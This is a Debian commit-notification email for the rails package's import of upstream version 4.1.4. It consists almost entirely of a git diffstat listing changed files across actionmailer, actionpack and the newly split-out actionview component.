[DRE-commits] [rails] 37/44: New upstream version 4.1.4

Ondrej Sury ondrej at moszumanska.debian.org
Wed Jul 16 15:04:03 UTC 2014


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ondrej pushed a commit to branch master
in repository rails.

commit f0ee24cf8ce686c2d999c612d024e68f9a508ee8
Author: Ondřej Surý <ondrej at sury.org>
Date:   Wed Jul 16 15:03:40 2014 +0200

    New upstream version 4.1.4
---
 .travis.yml                                        |   19 +-
 CONTRIBUTING.md                                    |    2 +
 Gemfile                                            |   48 +-
 RAILS_VERSION                                      |    2 +-
 README.md                                          |   39 +-
 RELEASING_RAILS.rdoc                               |   35 +-
 Rakefile                                           |   39 +-
 actionmailer/CHANGELOG.md                          |   99 +-
 actionmailer/MIT-LICENSE                           |    2 +-
 actionmailer/README.rdoc                           |    8 +-
 actionmailer/Rakefile                              |    6 +-
 actionmailer/actionmailer.gemspec                  |    1 +
 actionmailer/lib/action_mailer.rb                  |    5 +-
 actionmailer/lib/action_mailer/base.rb             |  230 +-
 actionmailer/lib/action_mailer/delivery_methods.rb |    1 +
 actionmailer/lib/action_mailer/gem_version.rb      |   15 +
 actionmailer/lib/action_mailer/log_subscriber.rb   |   14 +
 actionmailer/lib/action_mailer/mail_helper.rb      |    8 +-
 actionmailer/lib/action_mailer/preview.rb          |  104 +
 actionmailer/lib/action_mailer/railtie.rb          |   10 +
 actionmailer/lib/action_mailer/version.rb          |   11 +-
 actionmailer/test/abstract_unit.rb                 |   20 +-
 actionmailer/test/base_test.rb                     |   81 +-
 actionmailer/test/delivery_methods_test.rb         |   29 +-
 .../base_mailer/email_with_translations.html.erb   |    2 +-
 .../test_mailer/included_subtemplate.text.erb      |    2 +-
 actionmailer/test/i18n_with_controller_test.rb     |    1 +
 actionmailer/test/log_subscriber_test.rb           |    9 +-
 actionmailer/test/mailers/base_mailer.rb           |    2 +-
 actionpack/CHANGELOG.md                            | 1565 ++------
 actionpack/MIT-LICENSE                             |    2 +-
 actionpack/README.rdoc                             |    7 +-
 actionpack/RUNNING_UNIT_TESTS.rdoc                 |   16 +-
 actionpack/Rakefile                                |   27 +-
 actionpack/actionpack.gemspec                      |    9 +-
 actionpack/lib/abstract_controller.rb              |    3 +-
 actionpack/lib/abstract_controller/base.rb         |   28 +-
 actionpack/lib/abstract_controller/callbacks.rb    |    6 +-
 actionpack/lib/abstract_controller/collector.rb    |   12 +-
 actionpack/lib/abstract_controller/helpers.rb      |   33 +-
 actionpack/lib/abstract_controller/layouts.rb      |  423 ---
 actionpack/lib/abstract_controller/rendering.rb    |  178 +-
 actionpack/lib/abstract_controller/view_paths.rb   |   96 -
 actionpack/lib/action_controller.rb                |   18 +-
 actionpack/lib/action_controller/base.rb           |   24 +-
 actionpack/lib/action_controller/caching.rb        |   12 +-
 actionpack/lib/action_controller/deprecated.rb     |    7 -
 .../deprecated/integration_test.rb                 |    5 -
 actionpack/lib/action_controller/log_subscriber.rb |   11 +-
 actionpack/lib/action_controller/metal.rb          |    7 +-
 .../lib/action_controller/metal/data_streaming.rb  |    2 +-
 actionpack/lib/action_controller/metal/flash.rb    |   17 +
 .../lib/action_controller/metal/force_ssl.rb       |    2 +-
 actionpack/lib/action_controller/metal/head.rb     |    6 +-
 actionpack/lib/action_controller/metal/helpers.rb  |    8 +-
 .../action_controller/metal/http_authentication.rb |   30 +-
 .../lib/action_controller/metal/instrumentation.rb |    2 +-
 actionpack/lib/action_controller/metal/live.rb     |  132 +-
 .../lib/action_controller/metal/mime_responds.rb   |  146 +-
 .../lib/action_controller/metal/params_wrapper.rb  |   15 +-
 .../lib/action_controller/metal/rack_delegation.rb |    2 +-
 .../lib/action_controller/metal/redirecting.rb     |   41 +-
 .../lib/action_controller/metal/renderers.rb       |    8 +-
 .../lib/action_controller/metal/rendering.rb       |   59 +-
 .../metal/request_forgery_protection.rb            |   83 +-
 .../lib/action_controller/metal/responder.rb       |   16 +-
 .../lib/action_controller/metal/streaming.rb       |   38 +-
 .../action_controller/metal/strong_parameters.rb   |   46 +-
 actionpack/lib/action_controller/metal/testing.rb  |    1 -
 actionpack/lib/action_controller/railtie.rb        |    2 +-
 .../lib/action_controller/record_identifier.rb     |   31 -
 actionpack/lib/action_controller/test_case.rb      |   60 +-
 .../lib/action_controller/vendor/html-scanner.rb   |    5 -
 actionpack/lib/action_dispatch.rb                  |   13 +-
 .../lib/action_dispatch/http/filter_redirect.rb    |    9 +-
 actionpack/lib/action_dispatch/http/headers.rb     |    4 +-
 .../lib/action_dispatch/http/mime_negotiation.rb   |   20 +-
 actionpack/lib/action_dispatch/http/mime_type.rb   |   29 +-
 actionpack/lib/action_dispatch/http/mime_types.rb  |    1 +
 actionpack/lib/action_dispatch/http/parameters.rb  |   37 +-
 actionpack/lib/action_dispatch/http/request.rb     |   41 +-
 actionpack/lib/action_dispatch/http/response.rb    |   71 +-
 actionpack/lib/action_dispatch/http/upload.rb      |   13 -
 actionpack/lib/action_dispatch/http/url.rb         |   28 +-
 .../lib/action_dispatch/journey/formatter.rb       |    6 +-
 .../journey/gtg/transition_table.rb                |    8 +-
 actionpack/lib/action_dispatch/journey/parser.rb   |    2 +-
 actionpack/lib/action_dispatch/journey/parser.y    |    1 +
 actionpack/lib/action_dispatch/journey/route.rb    |    4 +
 .../lib/action_dispatch/journey/router/utils.rb    |   68 +-
 actionpack/lib/action_dispatch/journey/visitors.rb |   88 +-
 .../lib/action_dispatch/middleware/callbacks.rb    |   12 +-
 .../lib/action_dispatch/middleware/cookies.rb      |  144 +-
 .../action_dispatch/middleware/debug_exceptions.rb |   34 +-
 .../middleware/exception_wrapper.rb                |   12 +-
 actionpack/lib/action_dispatch/middleware/flash.rb |   41 +-
 .../action_dispatch/middleware/params_parser.rb    |    2 +-
 .../lib/action_dispatch/middleware/reloader.rb     |   13 +-
 .../lib/action_dispatch/middleware/remote_ip.rb    |    4 +-
 .../middleware/session/cookie_store.rb             |   11 +-
 .../action_dispatch/middleware/show_exceptions.rb  |    7 +-
 actionpack/lib/action_dispatch/middleware/ssl.rb   |   15 +-
 .../lib/action_dispatch/middleware/static.rb       |    6 +-
 ...response.erb => _request_and_response.html.erb} |    0
 .../rescues/_request_and_response.text.erb         |   23 +
 .../rescues/{_trace.erb => _trace.html.erb}        |    0
 .../middleware/templates/rescues/_trace.text.erb   |   15 +
 .../middleware/templates/rescues/diagnostics.erb   |    2 +-
 .../templates/rescues/missing_template.erb         |    7 -
 .../templates/rescues/missing_template.html.erb    |    7 +
 .../templates/rescues/missing_template.text.erb    |    3 +
 .../middleware/templates/rescues/routing_error.erb |   30 -
 .../templates/rescues/routing_error.html.erb       |   30 +
 .../templates/rescues/routing_error.text.erb       |   11 +
 .../templates/rescues/template_error.erb           |   43 -
 .../templates/rescues/template_error.html.erb      |   43 +
 .../templates/rescues/template_error.text.erb      |    8 +
 .../templates/rescues/unknown_action.erb           |    6 -
 .../templates/rescues/unknown_action.html.erb      |    6 +
 .../templates/rescues/unknown_action.text.erb      |    3 +
 .../middleware/templates/routes/_table.html.erb    |    6 +-
 actionpack/lib/action_dispatch/railtie.rb          |    5 +-
 actionpack/lib/action_dispatch/request/session.rb  |   12 +
 actionpack/lib/action_dispatch/request/utils.rb    |   35 +
 actionpack/lib/action_dispatch/routing.rb          |   13 +-
 .../lib/action_dispatch/routing/inspector.rb       |   11 +-
 actionpack/lib/action_dispatch/routing/mapper.rb   |  244 +-
 .../action_dispatch/routing/polymorphic_routes.rb  |   13 +
 .../lib/action_dispatch/routing/redirection.rb     |   61 +-
 .../lib/action_dispatch/routing/route_set.rb       |   86 +-
 actionpack/lib/action_dispatch/routing/url_for.rb  |    4 +-
 .../action_dispatch/testing/assertions/response.rb |   29 +-
 .../action_dispatch/testing/assertions/routing.rb  |    2 +-
 .../action_dispatch/testing/assertions/selector.rb |    8 +-
 .../lib/action_dispatch/testing/integration.rb     |   12 +-
 actionpack/lib/action_pack.rb                      |    2 +-
 actionpack/lib/action_pack/gem_version.rb          |   15 +
 actionpack/lib/action_pack/version.rb              |   11 +-
 actionpack/lib/action_view.rb                      |   93 -
 actionpack/lib/action_view/base.rb                 |  201 -
 actionpack/lib/action_view/dependency_tracker.rb   |   93 -
 actionpack/lib/action_view/digestor.rb             |  113 -
 actionpack/lib/action_view/flows.rb                |   76 -
 actionpack/lib/action_view/helpers.rb              |   58 -
 .../lib/action_view/helpers/active_model_helper.rb |   49 -
 .../lib/action_view/helpers/asset_tag_helper.rb    |  320 --
 .../lib/action_view/helpers/asset_url_helper.rb    |  355 --
 .../lib/action_view/helpers/atom_feed_helper.rb    |  203 -
 actionpack/lib/action_view/helpers/cache_helper.rb |  196 -
 actionpack/lib/action_view/helpers/csrf_helper.rb  |   30 -
 actionpack/lib/action_view/helpers/date_helper.rb  | 1083 ------
 actionpack/lib/action_view/helpers/form_helper.rb  | 1880 ----------
 .../lib/action_view/helpers/form_options_helper.rb |  838 -----
 .../lib/action_view/helpers/form_tag_helper.rb     |  785 ----
 .../lib/action_view/helpers/javascript_helper.rb   |  117 -
 .../lib/action_view/helpers/number_helper.rb       |  442 ---
 .../lib/action_view/helpers/record_tag_helper.rb   |  106 -
 .../lib/action_view/helpers/rendering_helper.rb    |   90 -
 actionpack/lib/action_view/helpers/tag_helper.rb   |  173 -
 actionpack/lib/action_view/helpers/tags.rb         |   39 -
 .../helpers/tags/collection_check_boxes.rb         |   44 -
 .../action_view/helpers/tags/collection_helpers.rb |   84 -
 .../lib/action_view/helpers/tags/color_field.rb    |   25 -
 .../lib/action_view/helpers/tags/datetime_field.rb |   22 -
 actionpack/lib/action_view/helpers/tags/label.rb   |   66 -
 actionpack/lib/action_view/helpers/tags/select.rb  |   40 -
 actionpack/lib/action_view/helpers/text_helper.rb  |  443 ---
 .../lib/action_view/helpers/translation_helper.rb  |  103 -
 actionpack/lib/action_view/helpers/url_helper.rb   |  635 ----
 actionpack/lib/action_view/log_subscriber.rb       |   30 -
 actionpack/lib/action_view/lookup_context.rb       |  248 --
 actionpack/lib/action_view/railtie.rb              |   43 -
 .../lib/action_view/renderer/partial_renderer.rb   |  492 ---
 .../renderer/streaming_template_renderer.rb        |  103 -
 .../lib/action_view/renderer/template_renderer.rb  |   96 -
 actionpack/lib/action_view/routing_url_for.rb      |  107 -
 actionpack/lib/action_view/template.rb             |  339 --
 actionpack/lib/action_view/template/error.rb       |  138 -
 .../lib/action_view/template/handlers/erb.rb       |  146 -
 actionpack/lib/action_view/template/resolver.rb    |  326 --
 actionpack/lib/action_view/template/text.rb        |   34 -
 actionpack/lib/action_view/template/types.rb       |   57 -
 actionpack/lib/action_view/test_case.rb            |  270 --
 actionpack/lib/action_view/testing/resolvers.rb    |   50 -
 .../action_view/vendor/html-scanner/html/node.rb   |  532 ---
 .../vendor/html-scanner/html/sanitizer.rb          |  188 -
 .../vendor/html-scanner/html/selector.rb           |  830 -----
 .../vendor/html-scanner/html/tokenizer.rb          |  107 -
 actionpack/test/abstract/.helper_test.rb.swp       |  Bin 12288 -> 0 bytes
 .../test/abstract/abstract_controller_test.rb      |  261 --
 actionpack/test/abstract/collector_test.rb         |    2 +-
 actionpack/test/abstract/helper_test.rb            |  121 -
 actionpack/test/abstract/layouts_test.rb           |  383 --
 actionpack/test/abstract/render_test.rb            |  102 -
 actionpack/test/abstract_unit.rb                   |   46 +-
 .../activerecord/form_helper_activerecord_test.rb  |   91 -
 .../test/assertions/response_assertions_test.rb    |   18 +-
 .../test/controller/action_pack_assertions_test.rb |   34 +-
 actionpack/test/controller/assert_select_test.rb   |   27 +-
 actionpack/test/controller/base_test.rb            |   32 +-
 actionpack/test/controller/caching_test.rb         |   55 +-
 actionpack/test/controller/capture_test.rb         |   79 -
 actionpack/test/controller/filters_test.rb         |   42 +-
 actionpack/test/controller/flash_hash_test.rb      |   10 +
 actionpack/test/controller/flash_test.rb           |   12 +-
 actionpack/test/controller/helper_test.rb          |    6 +
 .../controller/http_basic_authentication_test.rb   |    7 +
 .../controller/http_digest_authentication_test.rb  |    2 +-
 .../controller/http_token_authentication_test.rb   |    2 +-
 actionpack/test/controller/integration_test.rb     |   37 +
 actionpack/test/controller/layout_test.rb          |  262 --
 actionpack/test/controller/live_stream_test.rb     |  169 +-
 .../test/controller/localized_templates_test.rb    |   11 +
 actionpack/test/controller/log_subscriber_test.rb  |   11 +
 .../test/controller/mime/accept_format_test.rb     |   94 +
 actionpack/test/controller/mime/respond_to_test.rb |  773 ++++
 .../test/controller/mime/respond_with_test.rb      |  714 ++++
 actionpack/test/controller/mime_responds_test.rb   | 1254 -------
 .../test/controller/new_base/render_body_test.rb   |  170 +
 .../test/controller/new_base/render_html_test.rb   |  190 +
 .../new_base/render_implicit_action_test.rb        |   17 +-
 .../test/controller/new_base/render_plain_test.rb  |  168 +
 .../controller/new_base/render_streaming_test.rb   |    6 +-
 .../controller/new_base/render_template_test.rb    |    4 +-
 .../test/controller/new_base/render_text_test.rb   |   51 +-
 .../parameters/parameters_permit_test.rb           |   32 +-
 .../parameters/parameters_require_test.rb          |   10 -
 actionpack/test/controller/params_wrapper_test.rb  |   20 +
 .../test/controller/record_identifier_test.rb      |   34 -
 actionpack/test/controller/render_js_test.rb       |    2 +-
 actionpack/test/controller/render_json_test.rb     |    4 +-
 actionpack/test/controller/render_test.rb          | 1648 ++-------
 .../controller/request_forgery_protection_test.rb  |   98 +-
 actionpack/test/controller/required_params_test.rb |    8 +
 actionpack/test/controller/resources_test.rb       |    5 +-
 actionpack/test/controller/routing_test.rb         |   42 +-
 actionpack/test/controller/send_file_test.rb       |   16 +-
 actionpack/test/controller/test_case_test.rb       |   43 +-
 actionpack/test/controller/url_for_test.rb         |   33 +-
 actionpack/test/controller/webservice_test.rb      |    3 +-
 actionpack/test/dispatch/cookies_test.rb           |  269 +-
 actionpack/test/dispatch/debug_exceptions_test.rb  |   76 +
 actionpack/test/dispatch/header_test.rb            |    2 +
 actionpack/test/dispatch/live_response_test.rb     |   15 +-
 actionpack/test/dispatch/mime_type_test.rb         |   11 +-
 actionpack/test/dispatch/mount_test.rb             |   13 +-
 actionpack/test/dispatch/prefix_generation_test.rb |  152 +-
 actionpack/test/dispatch/rack_test.rb              |   18 +-
 .../dispatch/request/json_params_parsing_test.rb   |    9 +-
 .../request/multipart_params_parsing_test.rb       |    3 +-
 .../dispatch/request/query_string_parsing_test.rb  |   15 +
 actionpack/test/dispatch/request/session_test.rb   |   16 +
 .../request/url_encoded_params_parsing_test.rb     |   52 +-
 actionpack/test/dispatch/request_test.rb           |   43 +-
 actionpack/test/dispatch/response_test.rb          |   27 +-
 actionpack/test/dispatch/routing/inspector_test.rb |   90 +-
 actionpack/test/dispatch/routing_test.rb           |  549 ++-
 actionpack/test/dispatch/ssl_test.rb               |   36 +
 actionpack/test/dispatch/static_test.rb            |   30 +-
 actionpack/test/dispatch/url_generation_test.rb    |   32 +-
 actionpack/test/fixtures/developer.rb              |   10 -
 .../test/fixtures/digestor/messages/show.html.erb  |   14 -
 ...ted_fragment_cached_with_variant.html+phone.erb |    3 +
 actionpack/test/fixtures/helpers/abc_helper.rb     |    2 -
 .../test/fixtures/layout_tests/layouts/symlinked   |    1 -
 .../test/fixtures/localized/hello_world.it.erb     |    1 +
 actionpack/test/fixtures/multipart/mona_lisa.jpg   |  Bin 0 -> 159528 bytes
 .../variant_any_implicit_render.html+phablet.erb   |    1 +
 .../variant_any_implicit_render.html+tablet.erb    |    1 +
 ...iant_inline_syntax_without_block.html+phone.erb |    1 +
 .../variant_plus_none_for_format.html.erb          |    1 +
 ...variant_with_implicit_rendering.html+mobile.erb |    1 +
 .../respond_with_additional_params.html.erb}       |    0
 .../\345\205\254\345\205\261/foo/bar.html"         |    1 +
 .../fixtures/\345\205\254\345\205\261/foo/baz.css" |    3 +
 .../\345\205\254\345\205\261/foo/index.html"       |    1 +
 ...2\223\343\201\253\343\201\241\343\201\257.html" |    1 +
 .../fixtures/\345\205\254\345\205\261/index.html"  |    1 +
 .../test/journey/gtg/transition_table_test.rb      |    4 +-
 actionpack/test/journey/router/utils_test.rb       |    8 +-
 actionpack/test/journey/router_test.rb             |   13 +-
 actionpack/test/lib/controller/fake_models.rb      |  105 +-
 actionpack/test/template/asset_tag_helper_test.rb  |  760 ----
 .../test/template/compiled_templates_test.rb       |   63 -
 actionpack/test/template/date_helper_test.rb       | 3201 ----------------
 .../test/template/dependency_tracker_test.rb       |   74 -
 actionpack/test/template/digestor_test.rb          |  256 --
 actionpack/test/template/erb_util_test.rb          |   60 -
 .../test/template/form_collections_helper_test.rb  |  349 --
 actionpack/test/template/form_helper_test.rb       | 3019 ---------------
 .../test/template/form_options_helper_test.rb      | 1320 -------
 actionpack/test/template/form_tag_helper_test.rb   |  642 ----
 actionpack/test/template/javascript_helper_test.rb |  104 -
 actionpack/test/template/lookup_context_test.rb    |  263 --
 actionpack/test/template/number_helper_test.rb     |  152 -
 actionpack/test/template/render_test.rb            |  542 ---
 actionpack/test/template/streaming_render_test.rb  |  109 -
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 actionpack/test/template/template_test.rb          |  207 --
 actionpack/test/template/test_case_test.rb         |  367 --
 .../test/template/testing/fixture_resolver_test.rb |   18 -
 actionpack/test/template/text_helper_test.rb       |  470 ---
 .../test/template/translation_helper_test.rb       |  138 -
 actionpack/test/template/url_helper_test.rb        |  862 -----
 actionview/CHANGELOG.md                            |  401 ++
 actionview/MIT-LICENSE                             |   21 +
 actionview/README.rdoc                             |   34 +
 actionview/RUNNING_UNIT_TESTS.rdoc                 |   27 +
 actionview/Rakefile                                |   80 +
 actionview/actionview.gemspec                      |   29 +
 actionview/lib/action_view.rb                      |   97 +
 actionview/lib/action_view/base.rb                 |  209 ++
 .../lib/action_view/buffers.rb                     |    0
 .../lib/action_view/context.rb                     |    0
 actionview/lib/action_view/dependency_tracker.rb   |  135 +
 actionview/lib/action_view/digestor.rb             |  122 +
 actionview/lib/action_view/flows.rb                |   76 +
 actionview/lib/action_view/gem_version.rb          |   15 +
 actionview/lib/action_view/helpers.rb              |   64 +
 .../lib/action_view/helpers/active_model_helper.rb |   49 +
 .../lib/action_view/helpers/asset_tag_helper.rb    |  322 ++
 .../lib/action_view/helpers/asset_url_helper.rb    |  355 ++
 .../lib/action_view/helpers/atom_feed_helper.rb    |  203 +
 actionview/lib/action_view/helpers/cache_helper.rb |  200 +
 .../lib/action_view/helpers/capture_helper.rb      |    0
 .../lib/action_view/helpers/controller_helper.rb   |    0
 actionview/lib/action_view/helpers/csrf_helper.rb  |   33 +
 actionview/lib/action_view/helpers/date_helper.rb  | 1094 ++++++
 .../lib/action_view/helpers/debug_helper.rb        |    0
 actionview/lib/action_view/helpers/form_helper.rb  | 1876 ++++++++++
 .../lib/action_view/helpers/form_options_helper.rb |  843 +++++
 .../lib/action_view/helpers/form_tag_helper.rb     |  752 ++++
 .../lib/action_view/helpers/javascript_helper.rb   |   75 +
 .../lib/action_view/helpers/number_helper.rb       |  434 +++
 .../action_view/helpers/output_safety_helper.rb    |    0
 .../lib/action_view/helpers/record_tag_helper.rb   |  108 +
 .../lib/action_view/helpers/rendering_helper.rb    |   98 +
 .../lib/action_view/helpers/sanitize_helper.rb     |    0
 actionview/lib/action_view/helpers/tag_helper.rb   |  176 +
 actionview/lib/action_view/helpers/tags.rb         |   41 +
 .../lib/action_view/helpers/tags/base.rb           |    0
 .../lib/action_view/helpers/tags/check_box.rb      |    0
 .../lib/action_view/helpers/tags/checkable.rb      |    0
 .../helpers/tags/collection_check_boxes.rb         |   53 +
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 .../helpers/tags/collection_radio_buttons.rb       |    0
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 .../lib/action_view/helpers/tags/color_field.rb    |   25 +
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 actionview/lib/action_view/helpers/tags/select.rb  |   41 +
 .../lib/action_view/helpers/tags/tel_field.rb      |    0
 .../lib/action_view/helpers/tags/text_area.rb      |    0
 .../lib/action_view/helpers/tags/text_field.rb     |    0
 .../lib/action_view/helpers/tags/time_field.rb     |    0
 .../lib/action_view/helpers/tags/time_select.rb    |    0
 .../action_view/helpers/tags/time_zone_select.rb   |    0
 .../lib/action_view/helpers/tags/url_field.rb      |    0
 .../lib/action_view/helpers/tags/week_field.rb     |    0
 actionview/lib/action_view/helpers/text_helper.rb  |  450 +++
 .../lib/action_view/helpers/translation_helper.rb  |  111 +
 actionview/lib/action_view/helpers/url_helper.rb   |  630 ++++
 actionview/lib/action_view/layouts.rb              |  426 +++
 .../lib/action_view/locale/en.yml                  |    0
 actionview/lib/action_view/log_subscriber.rb       |   44 +
 actionview/lib/action_view/lookup_context.rb       |  257 ++
 .../lib/action_view/model_naming.rb                |    0
 .../lib/action_view/path_set.rb                    |    0
 actionview/lib/action_view/railtie.rb              |   49 +
 .../lib/action_view/record_identifier.rb           |    0
 .../lib/action_view/renderer/abstract_renderer.rb  |    0
 .../lib/action_view/renderer/partial_renderer.rb   |  492 +++
 .../lib/action_view/renderer/renderer.rb           |    0
 .../renderer/streaming_template_renderer.rb        |  103 +
 .../lib/action_view/renderer/template_renderer.rb  |  102 +
 actionview/lib/action_view/rendering.rb            |  145 +
 actionview/lib/action_view/routing_url_for.rb      |  109 +
 .../lib/action_view/tasks/dependencies.rake        |    0
 actionview/lib/action_view/template.rb             |  342 ++
 actionview/lib/action_view/template/error.rb       |  141 +
 .../lib/action_view/template/handlers.rb           |    0
 .../lib/action_view/template/handlers/builder.rb   |    0
 .../lib/action_view/template/handlers/erb.rb       |  145 +
 .../lib/action_view/template/handlers/raw.rb       |    0
 actionview/lib/action_view/template/html.rb        |   34 +
 actionview/lib/action_view/template/resolver.rb    |  346 ++
 actionview/lib/action_view/template/text.rb        |   34 +
 actionview/lib/action_view/template/types.rb       |   57 +
 actionview/lib/action_view/test_case.rb            |  272 ++
 actionview/lib/action_view/testing/resolvers.rb    |   54 +
 .../lib/action_view/vendor/html-scanner.rb         |    0
 .../vendor/html-scanner/html/document.rb           |    0
 .../action_view/vendor/html-scanner/html/node.rb   |  532 +++
 .../vendor/html-scanner/html/sanitizer.rb          |  188 +
 .../vendor/html-scanner/html/selector.rb           |  830 +++++
 .../vendor/html-scanner/html/tokenizer.rb          |  107 +
 .../vendor/html-scanner/html/version.rb            |    0
 actionview/lib/action_view/version.rb              |    8 +
 actionview/lib/action_view/view_paths.rb           |   96 +
 actionview/test/abstract_unit.rb                   |  341 ++
 .../abstract/abstract_controller_test.rb           |  262 ++
 actionview/test/actionpack/abstract/helper_test.rb |  127 +
 .../test/actionpack/abstract/layouts_test.rb       |  384 ++
 actionview/test/actionpack/abstract/render_test.rb |  103 +
 .../testing/me3/formatted.html.erb                 |    0
 .../abstract_controller/testing/me3/index.erb      |    0
 .../abstract_controller/testing/me4/index.erb      |    0
 .../abstract_controller/testing/me5/index.erb      |    0
 .../abstract/views/action_with_ivars.erb           |    0
 .../actionpack}/abstract/views/helper_test.erb     |    0
 .../test/actionpack}/abstract/views/index.erb      |    0
 .../layouts/abstract_controller/testing/me4.erb    |    0
 .../abstract/views/layouts/application.erb         |    0
 .../actionpack}/abstract/views/naked_render.erb    |    0
 .../test/actionpack/controller/capture_test.rb     |   81 +
 .../test/actionpack/controller/layout_test.rb      |  256 ++
 .../test/actionpack/controller/render_test.rb      | 1335 +++++++
 .../test/actionpack}/controller/view_paths_test.rb |    0
 .../test/active_record_unit.rb                     |    0
 .../test/activerecord/controller_runtime_test.rb   |    0
 .../activerecord/form_helper_activerecord_test.rb  |   91 +
 .../test/activerecord/polymorphic_routes_test.rb   |    0
 ...nder_partial_with_record_identification_test.rb |    0
 .../test/fixtures/_top_level_partial.html.erb      |    0
 .../test/fixtures/_top_level_partial_only.erb      |    1 +
 .../bad_customers/_bad_customer.html.erb           |    1 +
 .../actionpack}/customers/_customer.html.erb       |    0
 .../test/fixtures/actionpack}/fun/games/_form.erb  |    0
 .../fixtures/actionpack}/fun/games/hello_world.erb |    0
 .../good_customers/_good_customer.html.erb         |    0
 .../test/fixtures/actionpack}/hello.html           |    0
 .../actionpack}/layout_tests/alt/layouts/alt.erb   |    0
 .../layouts/controller_name_space/nested.erb       |    0
 .../actionpack}/layout_tests/layouts/item.erb      |    0
 .../layout_tests/layouts/layout_test.erb           |    0
 .../layouts/multiple_extensions.html.erb           |    0
 .../layouts/symlinked/symlinked_layout.erb         |    5 +
 .../layouts/third_party_template_library.mab       |    0
 .../actionpack}/layout_tests/views/goodbye.erb     |    0
 .../actionpack}/layout_tests/views/hello.erb       |    0
 .../fixtures/actionpack}/layouts/_column.html.erb  |    0
 .../fixtures/actionpack/layouts/_customers.erb     |    1 +
 .../actionpack}/layouts/_partial_and_yield.erb     |    0
 .../fixtures/actionpack}/layouts/_yield_only.erb   |    0
 .../actionpack}/layouts/_yield_with_params.erb     |    0
 .../actionpack/layouts/block_with_layout.erb       |    3 +
 .../fixtures/actionpack/layouts/builder.builder    |    3 +
 .../actionpack/layouts/partial_with_layout.erb     |    3 +
 .../fixtures/actionpack/layouts/standard.html.erb  |    1 +
 .../fixtures/actionpack}/layouts/streaming.erb     |    0
 .../actionpack/layouts/talk_from_action.erb        |    2 +
 .../actionpack/layouts/with_html_partial.html.erb  |    1 +
 .../test/fixtures/actionpack/layouts/xhr.html.erb  |    2 +
 .../test/fixtures/actionpack/layouts/yield.erb     |    2 +
 .../layouts/yield_with_render_inline_inside.erb    |    0
 .../layouts/yield_with_render_partial_inside.erb   |    0
 .../actionpack}/quiz/questions/_question.html.erb  |    0
 .../test/fixtures/actionpack/shared.html.erb       |    1 +
 .../actionpack/test/_changing_priority.html.erb    |    1 +
 .../actionpack/test/_changing_priority.json.erb    |    1 +
 .../fixtures/actionpack/test/_counter.html.erb     |    1 +
 .../test/fixtures/actionpack/test/_customer.erb    |    1 +
 .../fixtures/actionpack/test/_customer_counter.erb |    1 +
 .../actionpack/test/_customer_counter_with_as.erb  |    1 +
 .../actionpack/test/_customer_greeting.erb         |    1 +
 .../actionpack/test/_customer_with_var.erb         |    1 +
 .../test/_directory/_partial_with_locales.html.erb |    1 +
 .../actionpack/test/_first_json_partial.json.erb   |    1 +
 .../test/fixtures/actionpack/test}/_form.erb       |    0
 .../fixtures/actionpack/test/_hash_greeting.erb    |    1 +
 .../test/fixtures/actionpack/test/_hash_object.erb |    2 +
 .../test/fixtures/actionpack/test/_hello.builder   |    1 +
 .../actionpack/test/_json_change_priority.json.erb |    0
 .../fixtures/actionpack/test/_labelling_form.erb   |    1 +
 .../actionpack/test/_layout_for_partial.html.erb   |    3 +
 .../test/fixtures/actionpack/test/_partial.erb     |    1 +
 .../fixtures/actionpack/test/_partial.html.erb     |    1 +
 .../test/fixtures/actionpack/test/_partial.js.erb  |    1 +
 .../test/_partial_for_use_in_layout.html.erb       |    1 +
 .../actionpack/test/_partial_html_erb.html.erb     |    1 +
 .../test/_partial_name_local_variable.erb          |    1 +
 .../fixtures/actionpack/test/_partial_only.erb     |    1 +
 .../actionpack/test/_partial_only_html.html        |    1 +
 .../actionpack/test/_partial_with_partial.erb      |    2 +
 .../test/fixtures/actionpack/test/_person.erb      |    2 +
 .../actionpack/test/_raise_indentation.html.erb    |   13 +
 .../actionpack/test/_second_json_partial.json.erb  |    1 +
 .../actionpack/test/action_talk_to_layout.erb      |    2 +
 .../test/calling_partial_with_layout.html.erb      |    1 +
 .../test/fixtures/actionpack/test/capturing.erb    |    4 +
 .../actionpack/test/change_priority.html.erb       |    2 +
 .../test/fixtures/actionpack/test/content_for.erb  |    1 +
 .../actionpack/test/content_for_concatenated.erb   |    3 +
 .../actionpack/test/content_for_with_parameter.erb |    2 +
 .../test/dot.directory/render_file_with_ivar.erb   |    1 +
 .../actionpack/test/formatted_html_erb.html.erb    |    1 +
 .../actionpack/test/formatted_xml_erb.builder      |    1 +
 .../actionpack/test/formatted_xml_erb.html.erb     |    1 +
 .../actionpack/test/formatted_xml_erb.xml.erb      |    1 +
 .../fixtures/actionpack/test/greeting.html.erb     |    1 +
 .../test/fixtures/actionpack/test/greeting.xml.erb |    1 +
 .../test/fixtures/actionpack/test/hello,world.erb  |    1 +
 .../test/fixtures/actionpack/test/hello.builder    |    4 +
 .../test/fixtures/actionpack/test/hello/hello.erb  |    0
 .../test/fixtures/actionpack/test}/hello_world.erb |    0
 .../actionpack/test/hello_world_container.builder  |    3 +
 .../actionpack/test/hello_world_from_rxml.builder  |    3 +
 .../test/hello_world_with_layout_false.erb         |    0
 .../test/hello_world_with_partial.html.erb         |    2 +
 .../actionpack/test/hello_xml_world.builder        |   11 +
 .../actionpack/test/html_template.html.erb         |    1 +
 .../test/fixtures/actionpack/test/hyphen-ated.erb  |    1 +
 .../test/implicit_content_type.atom.builder        |    2 +
 actionview/test/fixtures/actionpack/test/list.erb  |    1 +
 .../test/non_erb_block_content_for.builder         |    4 +
 .../actionpack/test/potential_conflicts.erb        |    4 +
 .../actionpack/test/proper_block_detection.erb     |    1 +
 .../test/render_file_from_template.html.erb        |    1 +
 .../actionpack/test/render_file_with_ivar.erb      |    1 +
 .../actionpack/test/render_file_with_locals.erb    |    1 +
 .../test/render_file_with_locals_and_default.erb   |    1 +
 ...icit_html_template_from_xhr_request.da.html.erb |    1 +
 ...mplicit_html_template_from_xhr_request.html.erb |    1 +
 ...nder_implicit_js_template_without_layout.js.erb |    1 +
 .../test/render_partial_inside_directory.html.erb  |    1 +
 .../actionpack/test/render_to_string_test.erb      |    1 +
 .../actionpack/test/render_two_partials.html.erb   |    2 +
 .../test/using_layout_around_block.html.erb        |    1 +
 .../actionpack/test/with_html_partial.html.erb     |    1 +
 .../fixtures/actionpack/test/with_partial.html.erb |    1 +
 .../fixtures/actionpack/test/with_partial.text.erb |    1 +
 .../actionpack/test/with_xml_template.html.erb     |    1 +
 .../test/fixtures/blog_public/.gitignore           |    0
 .../test/fixtures/blog_public/blog.html            |    0
 .../test/fixtures/blog_public/index.html           |    0
